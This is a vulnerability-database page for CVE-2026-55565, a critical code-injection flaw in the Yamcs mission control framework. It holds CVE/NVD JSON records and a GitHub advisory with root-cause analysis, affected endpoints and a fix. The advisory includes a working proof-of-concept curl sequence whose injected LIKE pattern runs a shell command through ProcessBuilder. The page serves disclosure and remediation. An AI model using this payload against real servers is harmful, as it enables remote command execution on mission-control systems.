Vulnerability-Lookup

CVE-2026-55565 (GCVE-0-2026-55565)

Vulnerability from cvelistv5 – Published: 2026-08-28 17:29 – Updated: 2026-08-31 18:54

Title

Yamcs: Authenticated remote code execution via unescaped StreamSQL `LIKE` pattern compiled by Janino (`LikeExpression`)

Summary

Yamcs is a mission control framework. Prior to 5.12.8 and 5.13.2, Yamcs LikeExpression.fillCode_getValueReturn in yamcs-core/src/main/java/org/yamcs/yarch/streamsql/LikeExpression.java inserts an unescaped LIKE pattern into Java source compiled by Expression.getCompiledExpression through SimpleCompiler.cook instead of applying ValueExpression.escapeJavaString. The pattern can originate from POST /api/archive/{instance}:executeSql, POST /api/archive/{instance}:streamSql, POST /api/archive/{instance}/tables/{table}:readRows, GET /api/archive/{instance}/events, or activity searches, including paths available with ReadTables, ReadEvents, or ReadActivities. A quote in the pattern can inject Java that runs as the Yamcs server process. This issue is fixed in versions 5.12.8 and 5.13.2.

Severity

9.9 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-31 18:53 UTC

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')

Assigner

GitHub_M mitre root

References

5 references

URL	Tags
https://github.com/yamcs/yamcs/security/advisorie…	x_refsource_CONFIRM
https://github.com/yamcs/yamcs/commit/640e1598b70…	x_refsource_MISC
https://github.com/yamcs/yamcs/commit/a8fb4a0693f…	x_refsource_MISC
https://github.com/yamcs/yamcs/releases/tag/yamcs…	x_refsource_MISC
https://github.com/yamcs/yamcs/releases/tag/yamcs…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
yamcs	yamcs	Affected: < 5.12.8 Affected: >= 5.13.0, < 5.13.2	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-55565",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-31T18:53:42.698199Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-31T18:54:38.310Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-c64q-hj4j-375f"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "yamcs",
          "vendor": "yamcs",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 5.12.8"
            },
            {
              "status": "affected",
              "version": "\u003e= 5.13.0, \u003c 5.13.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Yamcs is a mission control framework. Prior to 5.12.8 and 5.13.2, Yamcs LikeExpression.fillCode_getValueReturn in yamcs-core/src/main/java/org/yamcs/yarch/streamsql/LikeExpression.java inserts an unescaped LIKE pattern into Java source compiled by Expression.getCompiledExpression through SimpleCompiler.cook instead of applying ValueExpression.escapeJavaString. The pattern can originate from POST /api/archive/{instance}:executeSql, POST /api/archive/{instance}:streamSql, POST /api/archive/{instance}/tables/{table}:readRows, GET /api/archive/{instance}/events, or activity searches, including paths available with ReadTables, ReadEvents, or ReadActivities. A quote in the pattern can inject Java that runs as the Yamcs server process. This issue is fixed in versions 5.12.8 and 5.13.2."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 9.9,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-94",
              "description": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-28T17:29:56.768Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/yamcs/yamcs/security/advisories/GHSA-c64q-hj4j-375f",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-c64q-hj4j-375f"
        },
        {
          "name": "https://github.com/yamcs/yamcs/commit/640e1598b7097b521692e89dd47a39b6cb1fc663",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/yamcs/yamcs/commit/640e1598b7097b521692e89dd47a39b6cb1fc663"
        },
        {
          "name": "https://github.com/yamcs/yamcs/commit/a8fb4a0693fa62a6eb729b26016d1090dd8b289c",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/yamcs/yamcs/commit/a8fb4a0693fa62a6eb729b26016d1090dd8b289c"
        },
        {
          "name": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8"
        },
        {
          "name": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2"
        }
      ],
      "source": {
        "advisory": "GHSA-c64q-hj4j-375f",
        "discovery": "UNKNOWN"
      },
      "title": "Yamcs: Authenticated remote code execution via unescaped StreamSQL `LIKE` pattern compiled by Janino (`LikeExpression`)"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-55565",
    "datePublished": "2026-08-28T17:29:56.768Z",
    "dateReserved": "2026-06-16T23:11:20.214Z",
    "dateUpdated": "2026-08-31T18:54:38.310Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-55565",
      "date": "2026-09-02",
      "epss": "0.00457",
      "percentile": "0.38065"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-55565\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-08-28T20:18:29.070\",\"lastModified\":\"2026-08-31T19:17:00.220\",\"vulnStatus\":\"Received\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Yamcs is a mission control framework. Prior to 5.12.8 and 5.13.2, Yamcs LikeExpression.fillCode_getValueReturn in yamcs-core/src/main/java/org/yamcs/yarch/streamsql/LikeExpression.java inserts an unescaped LIKE pattern into Java source compiled by Expression.getCompiledExpression through SimpleCompiler.cook instead of applying ValueExpression.escapeJavaString. The pattern can originate from POST /api/archive/{instance}:executeSql, POST /api/archive/{instance}:streamSql, POST /api/archive/{instance}/tables/{table}:readRows, GET /api/archive/{instance}/events, or activity searches, including paths available with ReadTables, ReadEvents, or ReadActivities. A quote in the pattern can inject Java that runs as the Yamcs server process. This issue is fixed in versions 5.12.8 and 5.13.2.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"yamcs\",\"product\":\"yamcs\",\"versions\":[{\"version\":\"\u003c 5.12.8\",\"status\":\"affected\"},{\"version\":\"\u003e= 5.13.0, \u003c 5.13.2\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H\",\"baseScore\":9.9,\"baseSeverity\":\"CRITICAL\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"CHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":3.1,\"impactScore\":6.0}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-08-31T18:53:42.698199Z\",\"id\":\"CVE-2026-55565\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"total\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-94\"}]}],\"references\":[{\"url\":\"https://github.com/yamcs/yamcs/commit/640e1598b7097b521692e89dd47a39b6cb1fc663\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/yamcs/yamcs/commit/a8fb4a0693fa62a6eb729b26016d1090dd8b289c\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/yamcs/yamcs/security/advisories/GHSA-c64q-hj4j-375f\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/yamcs/yamcs/security/advisories/GHSA-c64q-hj4j-375f\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"}]}}",
    "vulnrichment": {
      "containers": "{\"cna\": {\"title\": \"Yamcs: Authenticated remote code execution via unescaped StreamSQL `LIKE` pattern compiled by Janino (`LikeExpression`)\", \"problemTypes\": [{\"descriptions\": [{\"cweId\": \"CWE-94\", \"lang\": \"en\", \"description\": \"CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)\", \"type\": \"CWE\"}]}], \"metrics\": [{\"cvssV3_1\": {\"attackComplexity\": \"LOW\", \"attackVector\": \"NETWORK\", \"availabilityImpact\": \"HIGH\", \"baseScore\": 9.9, \"baseSeverity\": \"CRITICAL\", \"confidentialityImpact\": \"HIGH\", \"integrityImpact\": \"HIGH\", \"privilegesRequired\": \"LOW\", \"scope\": \"CHANGED\", \"userInteraction\": \"NONE\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H\", \"version\": \"3.1\"}}], \"references\": [{\"name\": \"https://github.com/yamcs/yamcs/security/advisories/GHSA-c64q-hj4j-375f\", \"tags\": [\"x_refsource_CONFIRM\"], \"url\": \"https://github.com/yamcs/yamcs/security/advisories/GHSA-c64q-hj4j-375f\"}, {\"name\": \"https://github.com/yamcs/yamcs/commit/640e1598b7097b521692e89dd47a39b6cb1fc663\", \"tags\": [\"x_refsource_MISC\"], \"url\": \"https://github.com/yamcs/yamcs/commit/640e1598b7097b521692e89dd47a39b6cb1fc663\"}, {\"name\": \"https://github.com/yamcs/yamcs/commit/a8fb4a0693fa62a6eb729b26016d1090dd8b289c\", \"tags\": [\"x_refsource_MISC\"], \"url\": \"https://github.com/yamcs/yamcs/commit/a8fb4a0693fa62a6eb729b26016d1090dd8b289c\"}, {\"name\": \"https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8\", \"tags\": [\"x_refsource_MISC\"], \"url\": \"https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8\"}, {\"name\": \"https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2\", \"tags\": [\"x_refsource_MISC\"], \"url\": \"https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2\"}], \"affected\": [{\"vendor\": \"yamcs\", \"product\": \"yamcs\", \"versions\": [{\"version\": \"\u003c 5.12.8\", \"status\": \"affected\"}, {\"version\": \"\u003e= 5.13.0, \u003c 5.13.2\", \"status\": \"affected\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-08-28T17:29:56.768Z\"}, \"descriptions\": [{\"lang\": \"en\", \"value\": \"Yamcs is a mission control framework. Prior to 5.12.8 and 5.13.2, Yamcs LikeExpression.fillCode_getValueReturn in yamcs-core/src/main/java/org/yamcs/yarch/streamsql/LikeExpression.java inserts an unescaped LIKE pattern into Java source compiled by Expression.getCompiledExpression through SimpleCompiler.cook instead of applying ValueExpression.escapeJavaString. The pattern can originate from POST /api/archive/{instance}:executeSql, POST /api/archive/{instance}:streamSql, POST /api/archive/{instance}/tables/{table}:readRows, GET /api/archive/{instance}/events, or activity searches, including paths available with ReadTables, ReadEvents, or ReadActivities. A quote in the pattern can inject Java that runs as the Yamcs server process. This issue is fixed in versions 5.12.8 and 5.13.2.\"}], \"source\": {\"advisory\": \"GHSA-c64q-hj4j-375f\", \"discovery\": \"UNKNOWN\"}}, \"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-55565\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-08-31T18:53:42.698199Z\"}}}], \"references\": [{\"url\": \"https://github.com/yamcs/yamcs/security/advisories/GHSA-c64q-hj4j-375f\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-08-31T18:54:30.610Z\"}}]}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-55565\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"state\": \"PUBLISHED\", \"assignerShortName\": \"GitHub_M\", \"dateReserved\": \"2026-06-16T23:11:20.214Z\", \"datePublished\": \"2026-08-28T17:29:56.768Z\", \"dateUpdated\": \"2026-08-31T18:54:38.310Z\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-55565

Vulnerability from fkie_nvd - Published: 2026-08-28 20:18 - Updated: 2026-08-31 19:17

Severity

9.9 (Critical) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/yamcs/yamcs/commit/640e1598b7097b521692e89dd47a39b6cb1fc663
	security-advisories@github.com	https://github.com/yamcs/yamcs/commit/a8fb4a0693fa62a6eb729b26016d1090dd8b289c
	security-advisories@github.com	https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8
	security-advisories@github.com	https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2
	security-advisories@github.com	https://github.com/yamcs/yamcs/security/advisories/GHSA-c64q-hj4j-375f
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/yamcs/yamcs/security/advisories/GHSA-c64q-hj4j-375f

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "yamcs",
          "vendor": "yamcs",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 5.12.8"
            },
            {
              "status": "affected",
              "version": "\u003e= 5.13.0, \u003c 5.13.2"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Yamcs is a mission control framework. Prior to 5.12.8 and 5.13.2, Yamcs LikeExpression.fillCode_getValueReturn in yamcs-core/src/main/java/org/yamcs/yarch/streamsql/LikeExpression.java inserts an unescaped LIKE pattern into Java source compiled by Expression.getCompiledExpression through SimpleCompiler.cook instead of applying ValueExpression.escapeJavaString. The pattern can originate from POST /api/archive/{instance}:executeSql, POST /api/archive/{instance}:streamSql, POST /api/archive/{instance}/tables/{table}:readRows, GET /api/archive/{instance}/events, or activity searches, including paths available with ReadTables, ReadEvents, or ReadActivities. A quote in the pattern can inject Java that runs as the Yamcs server process. This issue is fixed in versions 5.12.8 and 5.13.2."
    }
  ],
  "id": "CVE-2026-55565",
  "lastModified": "2026-08-31T19:17:00.220",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.9,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.1,
        "impactScore": 6.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-55565",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-31T18:53:42.698199Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-28T20:18:29.070",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/yamcs/yamcs/commit/640e1598b7097b521692e89dd47a39b6cb1fc663"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/yamcs/yamcs/commit/a8fb4a0693fa62a6eb729b26016d1090dd8b289c"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-c64q-hj4j-375f"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-c64q-hj4j-375f"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-94"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-C64Q-HJ4J-375F

Vulnerability from github – Published: 2026-08-28 17:30 – Updated: 2026-08-28 17:30

Summary

Yamcs vulnerable to authenticated remote code execution via unescaped StreamSQL `LIKE` pattern compiled by Janino (`LikeExpression`)

Details

Summary

Yamcs compiles StreamSQL query expressions to Java at runtime with Janino. The LIKE operator inserts the user-supplied pattern into the generated Java unescaped, inside a "..." literal, so a pattern containing " breaks out and injects arbitrary Java (e.g. a static{} block that runs an OS command when the compiled filter class loads). Result: RCE as the OS user running Yamcs.

The pattern is embedded raw whether it comes from a SQL string literal or a bound ? argument, so the sink is reachable from any endpoint that builds a LIKE from user input, at routine read-only privileges, not just executeSql: - POST /api/archive/{instance}:executeSql and :streamSql (privilege ControlArchiving) - POST /api/archive/{instance}/tables/{table}:readRows via the query field (privilege ReadTables) - GET /api/archive/{instance}/events?q= and the event export/stream variants (privilege ReadEvents) - listActivities q (privilege ReadActivities)

The Events page search box feeds q directly.

Independent of the May-2026 algorithm-override RCEs (CVE-2026-46562/46621/44632): it needs none of ChangeMissionDatabase and is not affected by the overrideAlgorithmsEnabled gate.

Details

Sink: Expression#getCompiledExpression compiles generated source with SimpleCompiler.cook(...) (Expression.java:205) and instantiates it (Expression.java:213) at stream prep, before any tuple flows.
Injection: LikeExpression#fillCode_getValueReturn (LikeExpression.java:26) appends likeClause.pattern raw into Utils.like(<col>, "<pattern>"). The safe sibling ValueExpression escapes literals via escapeJavaString() (ValueExpression.java:82-85); a review of all 35 streamsql code-generators found LikeExpression to be the only unescaped one.
Grammar: S_STRING = "'" (~["'"])* "'" (StreamSql.jj:222) allows "; getNonEscapedString (StreamSql.jj:36) does not escape " or \.
Reachability: TableApi#executeSql (TableApi.java:399) checks only ControlArchiving, then passes the raw statement to ydb.createStatement(...). No SecurityManager or Janino sandbox is configured, so the compiled code can call Runtime/ProcessBuilder. :streamSql (TableApi.java:447) is equally affected.
The sink is reachable from several lower-privilege endpoints, not just executeSql. A LIKE pattern is embedded raw whether it comes from a SQL literal or a bound ? argument (nextArgAsString -> likeClause.pattern), so any endpoint building ... LIKE ? with attacker input also reaches it:
POST .../tables/{table}:readRows (TableApi.java:276, privilege ReadTables): the query and cols request fields are concatenated raw into the executed StreamSQL (sqlb.where(request.getQuery())). Verified RCE.
GET .../events?q= (listEvents, EventsApi.java:79/109) and exportEvents/streamEvents (EventsApi.java:290/344), privilege ReadEvents: body.message like ? with "%"+q+"%". Verified RCE.
listActivities (ActivitiesApi.java:86/113), privilege ReadActivities: detail like ? with "%"+q+"%". ReadTables/ReadEvents/ReadActivities are routine read-only permissions. The single escapeJavaString fix below closes all of these (one sink). The raw readRows WHERE/cols concatenation is an additional StreamSQL-injection that should be fixed independently (validate cols, do not accept a free-form query at ReadTables).

Proof of Concept

Against a Yamcs server with security enabled (default HTTP port 8090), as a user holding only ControlArchiving.

BASE=http://<host>:8090
INSTANCE=<instance>

# 1. Get a token for a ControlArchiving user.
TOK=$(curl -s -X POST "$BASE/auth/token" \
  -d 'grant_type=password&username=USER&password=PASS' \
  | python3 -c 'import sys,json;print(json.load(sys.stdin)["access_token"])')

# 2. Create a table with a string column.
curl -s -X POST "$BASE/api/archive/$INSTANCE:executeSql" \
  -H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \
  -d '{"statement":"create table demo(gentime timestamp, y string, primary key(gentime))"}'

# 3. Inject the LIKE pattern. It closes the generated Java string and method, adds a
#    static{} initializer that runs an OS command, then reopens a dummy method so the
#    generated class still compiles.
PATTERN='a"); } static { try { new ProcessBuilder(new String[]{"/bin/sh","-c","id > /tmp/pwned"}).start().waitFor(); } catch (Exception e) {} } public Object dummy() { return Integer.valueOf("1'
SQL="create stream pwn as select * from demo where y like '$PATTERN'"
curl -s -X POST "$BASE/api/archive/$INSTANCE:executeSql" \
  -H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \
  -d "$(python3 -c 'import sys,json;print(json.dumps({"statement":sys.argv[1]}))' "$SQL")"

# 4. Proof: the command ran as the Yamcs OS user (on the server host).
cat /tmp/pwned        # -> uid=...(...)

A benign like 'abc%' does nothing; exploitation depends on the " break-out.

Impact

Arbitrary OS command execution as the Yamcs user: telecommand injection/suppression, telemetry tampering, filesystem and credential/key access, lateral movement, persistence. The attacker needs only a read-only archive privilege, not an MDB/archive-control role: the sink is reachable via executeSql (ControlArchiving), readRows (ReadTables), the events list/export/stream endpoints (ReadEvents), and the activities listing (ReadActivities).

Exploitation via executeSql generates no Yamcs event and is not audit-logged (the created table/stream persist and the request may appear in an HTTP access log).

Remediation

Escape the pattern like other literals, in LikeExpression.fillCode_getValueReturn:

code.append(", \"");
ValueExpression.escapeJavaString(likeClause.pattern, code);  // was: code.append(likeClause.pattern);
code.append("\")");

Defence-in-depth: pass the pattern as a bound argument instead of inlining it; audit every cook() path; compile generated classes under a classloader that cannot reach Runtime/ProcessBuilder.

Severity

9.9 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.13.1"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.yamcs:yamcs-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.13.0"
            },
            {
              "fixed": "5.13.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.12.7"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.yamcs:yamcs-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.12.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55565"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T17:30:32Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\nYamcs compiles StreamSQL query expressions to Java at runtime with Janino. The `LIKE` operator inserts the user-supplied pattern into the generated Java **unescaped**, inside a `\"...\"` literal, so a pattern containing `\"` breaks out and injects arbitrary Java (e.g. a `static{}` block that runs an OS command when the compiled filter class loads). Result: RCE as the OS user running Yamcs.\n\nThe pattern is embedded raw whether it comes from a SQL string literal or a bound `?` argument, so the sink is reachable from any endpoint that builds a `LIKE` from user input, at routine **read-only** privileges, not just `executeSql`:\n- `POST /api/archive/{instance}:executeSql` and `:streamSql` (privilege `ControlArchiving`)\n- `POST /api/archive/{instance}/tables/{table}:readRows` via the `query` field (privilege `ReadTables`)\n- `GET /api/archive/{instance}/events?q=` and the event export/stream variants (privilege `ReadEvents`)\n- `listActivities` `q` (privilege `ReadActivities`)\n\nThe Events page search box feeds `q` directly.\n\nIndependent of the May-2026 algorithm-override RCEs (CVE-2026-46562/46621/44632): it needs none of `ChangeMissionDatabase` and is not affected by the `overrideAlgorithmsEnabled` gate.\n\n## Details\n- **Sink:** `Expression#getCompiledExpression` compiles generated source with `SimpleCompiler.cook(...)` (`Expression.java:205`) and instantiates it (`Expression.java:213`) at stream prep, before any tuple flows.\n- **Injection:** `LikeExpression#fillCode_getValueReturn` (`LikeExpression.java:26`) appends `likeClause.pattern` raw into `Utils.like(\u003ccol\u003e, \"\u003cpattern\u003e\")`. The safe sibling `ValueExpression` escapes literals via `escapeJavaString()` (`ValueExpression.java:82-85`); a review of all 35 streamsql code-generators found `LikeExpression` to be the only unescaped one.\n- **Grammar:** `S_STRING = \"\u0027\" (~[\"\u0027\"])* \"\u0027\"` (`StreamSql.jj:222`) allows `\"`; `getNonEscapedString` (`StreamSql.jj:36`) does not escape `\"` or `\\`.\n- **Reachability:** `TableApi#executeSql` (`TableApi.java:399`) checks only `ControlArchiving`, then passes the raw statement to `ydb.createStatement(...)`. No SecurityManager or Janino sandbox is configured, so the compiled code can call `Runtime`/`ProcessBuilder`. `:streamSql` (`TableApi.java:447`) is equally affected.\n- **The sink is reachable from several lower-privilege endpoints, not just `executeSql`.** A LIKE pattern is embedded raw whether it comes from a SQL literal or a bound `?` argument (`nextArgAsString` -\u003e `likeClause.pattern`), so any endpoint building `... LIKE ?` with attacker input also reaches it:\n  - `POST .../tables/{table}:readRows` (`TableApi.java:276`, privilege **ReadTables**): the `query` and `cols` request fields are concatenated raw into the executed StreamSQL (`sqlb.where(request.getQuery())`). Verified RCE.\n  - `GET .../events?q=` (`listEvents`, EventsApi.java:79/109) and exportEvents/streamEvents (EventsApi.java:290/344), privilege **ReadEvents**: `body.message like ?` with `\"%\"+q+\"%\"`. Verified RCE.\n  - `listActivities` (ActivitiesApi.java:86/113), privilege **ReadActivities**: `detail like ?` with `\"%\"+q+\"%\"`.\n  `ReadTables`/`ReadEvents`/`ReadActivities` are routine read-only permissions. The single `escapeJavaString` fix below closes all of these (one sink). The raw `readRows` WHERE/cols concatenation is an additional StreamSQL-injection that should be fixed independently (validate `cols`, do not accept a free-form `query` at `ReadTables`).\n\n## Proof of Concept\nAgainst a Yamcs server with security enabled (default HTTP port `8090`), as a user holding only `ControlArchiving`.\n\n```bash\nBASE=http://\u003chost\u003e:8090\nINSTANCE=\u003cinstance\u003e\n\n# 1. Get a token for a ControlArchiving user.\nTOK=$(curl -s -X POST \"$BASE/auth/token\" \\\n  -d \u0027grant_type=password\u0026username=USER\u0026password=PASS\u0027 \\\n  | python3 -c \u0027import sys,json;print(json.load(sys.stdin)[\"access_token\"])\u0027)\n\n# 2. Create a table with a string column.\ncurl -s -X POST \"$BASE/api/archive/$INSTANCE:executeSql\" \\\n  -H \"Authorization: Bearer $TOK\" -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"statement\":\"create table demo(gentime timestamp, y string, primary key(gentime))\"}\u0027\n\n# 3. Inject the LIKE pattern. It closes the generated Java string and method, adds a\n#    static{} initializer that runs an OS command, then reopens a dummy method so the\n#    generated class still compiles.\nPATTERN=\u0027a\"); } static { try { new ProcessBuilder(new String[]{\"/bin/sh\",\"-c\",\"id \u003e /tmp/pwned\"}).start().waitFor(); } catch (Exception e) {} } public Object dummy() { return Integer.valueOf(\"1\u0027\nSQL=\"create stream pwn as select * from demo where y like \u0027$PATTERN\u0027\"\ncurl -s -X POST \"$BASE/api/archive/$INSTANCE:executeSql\" \\\n  -H \"Authorization: Bearer $TOK\" -H \u0027Content-Type: application/json\u0027 \\\n  -d \"$(python3 -c \u0027import sys,json;print(json.dumps({\"statement\":sys.argv[1]}))\u0027 \"$SQL\")\"\n\n# 4. Proof: the command ran as the Yamcs OS user (on the server host).\ncat /tmp/pwned        # -\u003e uid=...(...)\n```\nA benign `like \u0027abc%\u0027` does nothing; exploitation depends on the `\"` break-out.\n\n## Impact\nArbitrary OS command execution as the Yamcs user: telecommand injection/suppression, telemetry tampering, filesystem and credential/key access, lateral movement, persistence. The attacker 